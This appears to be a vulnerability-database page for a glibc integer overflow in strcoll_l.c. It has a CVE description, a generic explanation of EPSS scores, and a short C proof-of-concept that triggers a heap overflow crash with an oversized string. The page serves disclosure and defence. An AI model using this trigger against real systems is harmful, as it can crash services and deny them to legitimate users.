CVE Descriptions

Integer overflow in string/strcoll_l.c in the GNU C Library (aka glibc or libc6) 2.17 and earlier allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string, which triggers a heap-based buffer overflow.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/55462/info GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability. Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users. #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 429496730 int main (void) { char *p = malloc (1 + SIZE); if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) { puts ("setlocale failed, cannot test for overflow"); return 0; } if (p == NULL) { puts ("malloc failed, cannot test for overflow"); return 0; } memset (p, 'x', SIZE); p[SIZE] = 0; printf ("%d\n", strcoll (p, p)); return 0; }
